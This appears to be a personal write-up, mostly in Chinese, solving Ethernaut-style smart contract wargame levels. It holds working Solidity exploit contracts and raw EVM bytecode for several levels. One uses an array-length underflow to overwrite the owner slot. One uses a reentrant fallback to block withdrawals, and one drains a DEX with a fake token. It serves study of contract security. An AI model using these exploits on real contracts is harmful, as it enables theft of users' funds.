4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface MagicNum {
function setSolver(address _solver) external;
}

contract Solver {
constructor() {
/*
602a push 42
6000 push 0
52 mstore
6020 push 0x20
6000 push 0
f3 return
*/
bytes memory code = hex'602a60005260206000f3';
assembly {
return(add(code,0x20),mload(code))
}
}
}

contract Hacker {
address target = 0x8FD22bb410240144B69382a85157630f52537FbB;
address solver = address(new Solver());

constructor() {
MagicNum(target).setSolver(solver);
selfdestruct(payable(solver));
}
}

Level 19. Alien Codex

You’ve uncovered an Alien contract. Claim ownership to complete the level.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

Analysis

看一下反编译的revise和retract发现可以直接用retract整数下溢后用revise任意storage写。

逆向的结果:在索引数组codex[i] = _content时总会有边界检查,codex.length--会把新旧之间的数组元素全部清零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
function retract() { //检查contacted修饰符
if (!(storage[0x00] / 0x0100 ** 0x14 & 0xff)) { assert(); }

var var0 = storage[0x01];
var var1 = 0x02d2;
var var2 = 0x01;
var var3 = var0 - 0x01;
func_06E5(var2, var3);
}

function func_06E5(var arg0, var arg1) {
var temp0 = arg0;//1
var temp1 = storage[temp0]; // s[1]
var var0 = temp1;// s[1] : 0
var temp2 = arg1;// -1
storage[temp0] = temp2; // newlen : 0xff..fff

if (var0 <= temp2) { //如果 oldlen <= newlen
label_070C:
return; // 整数下溢,走这条分支
} else { // 可能是pop数组的操作,把减掉之后和原来长度之间的storage全部变成0
memory[0x00:0x20] = arg0; // 1
var temp3 = keccak256(memory[0x00:0x20]); //base addr
var temp4 = temp3 + var0; // large addr
var0 = 0x070b;
var var2 = temp3 + arg1; // small addr
var var1 = temp4; // large addr
var0 = func_0711(var1, var2);
goto label_070C;
}
}

function func_0711(var arg0, var arg1) returns (var r0) {
var temp0 = arg0; // large
arg0 = 0x0733;
var temp1 = arg1; // small
arg1 = temp0; // large
var var0 = temp1; //small

if (arg1 <= var0) { return func_072F(arg1, var0); }

label_0720:
var temp2 = var0; // small
storage[temp2] = 0x00; // 置0
var0 = temp2 + 0x01;

if (arg1 > var0) { goto label_0720; }

arg0 = func_072F(arg1, var0);
// Error: Could not resolve method call return address!
}

function func_072F(var arg0, var arg1) returns (var r0) { return arg0; }

function revise(var arg0, var arg1) { // 4 args
var temp0 = arg0;
arg0 = msg.data[temp0:temp0 + 0x20]; // i
arg1 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20]; // content

if (!(storage[0x00] / 0x0100 ** 0x14 & 0xff)) { assert(); }

var var0 = arg1;
var var1 = 0x01;
var var2 = arg0; // i

if (var2 >= storage[var1]) { assert(); }

memory[0x00:0x20] = var1;
storage[keccak256(memory[0x00:0x20]) + var2] = var0;
}

EXP

1
2
3
4
5
6
7
8
9
10
11
In [16]: w3.keccak(b'\x01'.rjust(0x20,b'\x00'))
Out[16]: HexBytes('0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6')

In [17]: w3.eth.get_storage_at(target,0)
Out[17]: HexBytes('0x000000000000000000000000da5b3fb76c78b6edee6be8f11a1c31ecfb02b272')

In [18]: 0x10000000000000000000000000000000000000000000000000000000000000000 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
Out[18]: 35707666377435648211887908874984608119992236509074197713628505308453184860938

In [19]: hex(_)
Out[19]: '0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface AlienCodex {
function make_contact() external;
function retract() external;
function revise(uint i, bytes32 _content) external;
}

contract Hacker {
AlienCodex target = AlienCodex(0xD722Ca9C6655EBc031Ddb5FCff419d525ef66D13);

constructor() {
target.make_contact();
target.retract();
bytes32 hacker = bytes32(uint(uint160(0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F)));
uint offset = (2**256 - 1) - uint(keccak256(abi.encode(uint(1)))) + 1;
target.revise(offset, hacker);
selfdestruct(payable(0));
}

function test() public pure returns (uint) {
return (2**256 - 1) - uint(keccak256(abi.encode(uint(1)))) + 1;
}
}

Insights

This level exploits the fact that the EVM doesn’t validate an array’s ABI-encoded length vs its actual payload.

这个漏洞我好像没用到…?

Level 20. Denial

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
fallback() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

Analysis

Error handling: Assert, Require, Revert and Exceptions

Solidity uses state-reverting exceptions to handle errors. Such an exception undoes all changes made to the state in the current call (and all its sub-calls) and flags an error to the caller.

When exceptions happen in a sub-call, they “bubble up” (i.e., exceptions are rethrown) automatically unless they are caught in a try/catch statement. Exceptions to this rule are send and the low-level functions call, delegatecall and staticcall: they return false as their first return value in case of an exception instead of “bubbling up”.

确实,在合约call的时候revert不会终止调用合约的执行。所以这个是重入?

EXP

注意fallback要的是payable的,第一次没加就过不了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface Denial {
function setWithdrawPartner(address _partner) external;
function withdraw() external;
}

contract Partner {
Denial target = Denial(0xdDea82B42FB095D3eb9fc0f792C15Bb0c82B61de);

fallback() payable external {
target.withdraw();
}
}

contract Hacker {
Denial target = Denial(0xdDea82B42FB095D3eb9fc0f792C15Bb0c82B61de);
Partner partner = new Partner();

constructor() {
target.setWithdrawPartner(address(partner));
selfdestruct(payable(0));
}
}

Level 21. Shop

Сan you get the item from the shop for less than the price asked?

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}

Analysis

没看懂什么意思,看了皮卡丘师傅的wp,发现目标是把price改小。3000gas应该没啥影响?

好吧,是有影响的…修改一次storage(sstore)需要20000gas; sload costs 800 gas.

看了皮卡丘师傅的wp和黄皮书后发现call只需要700gas

有两种revert,我遇到的一直是Warning! Error encountered during contract execution [execution reverted],所以应该不是gas不够的原因。

真是非常奇怪,在私链上调试是可以的啊。。。

EXP

这一题看了一天还是不会,发现很多细节导致我一直revert。暂时认为是out-of-gas的原因,存疑。

在jsvm上调试了一下查询isSold的操作是不可控的,包含了一个sload操作,用了1069gas。所以说我自己的代码使用的gas不可以超过2000gas。手写试试。

jsvm hacker: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
jsvm shop : 0xd9145CCE52D386f254917e481eB44e9943F39138

jsvm test

1
33735B38Da6a701c568545dCfcB03FcB875f56beddC41860485763a6f2ae3a600052600060006004601c600073d9145CCE52D386f254917e481eB44e9943F391385af160006000f35b63e852e741600052602060006004601c6000335af1600051606e57606460005260206000f35b606360005260206000f3

rinkeby hacker: 0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F
rinkeby shop : 0xa0379c92AE6533b4C3f82606852E6ACc416DCc3A

final

1
33739B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F1860485763a6f2ae3a600052600060006004601c600073a0379c92AE6533b4C3f82606852E6ACc416DCc3A5af160006000f35b63e852e741600052602060006004601c6000335af1600051606e57606460005260206000f35b606360005260206000f3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Hacker {
// address target = 0xa0379c92AE6533b4C3f82606852E6ACc416DCc3A;
address target = 0xd9145CCE52D386f254917e481eB44e9943F39138;
function price() public returns (uint) {
(, bytes memory isSold) = 0xa0379c92AE6533b4C3f82606852E6ACc416DCc3A.call(hex'e852e741');
// require(res == true, "price(): Fail.");
return uint8(isSold[0x1f]) == 1 ? 99 : 101;
}

function attack() public {
(bool res, ) = target.call(abi.encodeWithSignature("buy()"));
require(res == true, "attack(): Fail.");
}

function testgas() public {
(bool res, ) = target.call{gas:30000}(hex'e852e741');
require(res == true, "testgas(): Fail.");
}
}

contract HackersShellcode {
constructor() {
bytes memory shellcode = hex'33735B38Da6a701c568545dCfcB03FcB875f56beddC41860485763a6f2ae3a600052600060006004601c600073d9145CCE52D386f254917e481eB44e9943F391385af160006000f35b63e852e741600052602060006004601c6000335af1600051606e57606460005260206000f35b606360005260206000f3';
assembly {
return(add(shellcode,0x20),mload(shellcode))
}
}
fallback() external {

}
}

contract HackersShellcodeRinkeby {
constructor() {
bytes memory shellcode = hex'33739B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F1860485763a6f2ae3a600052600060006004601c600073a0379c92AE6533b4C3f82606852E6ACc416DCc3A5af160006000f35b63e852e741600052602060006004601c6000335af1600051606e57606460005260206000f35b606360005260206000f3';
assembly {
return(add(shellcode,0x20),mload(shellcode))
}
}
fallback() external {}
}

其实我一开始遇到的问题就是gas不足的问题,在函数调用中如果gas不足在etherscan上不会显示out-of-gas,反而是函数调用会以失败的结果返回。

Level 22. Dex

The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.

You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.

You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract Dex {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}

// 两个都是自己指定的token?from token可控 假设amount == 1
function swap(address from, address to, uint amount) public {
// 从from这个token中转出amount那么多token,换成to这个token
// 首先你得有这么多的token可以转出
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
// 计算价格目标的token数量
uint swap_amount = get_swap_price(from, to, amount);
// 转出来到中间dex
IERC20(from).transferFrom(msg.sender, address(this), amount);
// 从中间dex转到to这个token里去
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}
// 向中间dex白白转入amount那么多token
function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function get_swap_price(address from, address to, uint amount) public view returns(uint){
return(
(
amount * IERC20(to).balanceOf(address(this))
) / IERC20(from).balanceOf(address(this))
);
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
function approve(address owner, address spender, uint amount) public returns(bool){
super._approve(owner, spender, amount);
}
}

Analysis

分了两种token,一开始我有各有10个token,contract各有100个token,目标是把contract的某一个token弄为0.

1
2
3
4
5
6
7
8
In [24]: target
Out[24]: '0x163F36EE7C8CF1436e14461397fD003b64AE469F'

In [25]: token1
Out[25]: '0x947e563Bf6E16fb542ab9eEb5Bb5ED051F38C34f'

In [26]: token2
Out[26]: '0xce98C3170FCdFbC143879c5C3c14FB168b500500'

emmmm是否可以自己写一个新的token进去玩?

要使contract的某个token为空,就是在swap函数中转出的时候把所有的都转出。

EXP

remix的gas估计,我愿称之为神。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract MyERC20Token {
address hacker = 0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F;
address target = 0x163F36EE7C8CF1436e14461397fD003b64AE469F;

function balanceOf(address account) public view returns (uint256) {
if (account == hacker || account == target) {
return 1;
} else {
return 1;
}
}

function transferFrom(address, address, uint256) public returns (bool) {
return true;
}
}

interface Dex {
function swap(address, address, uint) external;
}

contract Hacker {
address ME2T = address(new MyERC20Token());
Dex target = Dex(0x163F36EE7C8CF1436e14461397fD003b64AE469F);
address token1 = 0x947e563Bf6E16fb542ab9eEb5Bb5ED051F38C34f;
address token2 = 0xce98C3170FCdFbC143879c5C3c14FB168b500500;

constructor() {
target.swap(ME2T,token2,1);
// selfdestruct(payable(0));
}
}

第一次transferFrom中忘记返回true了,remix估计会fail,就真的fail了。

通关留念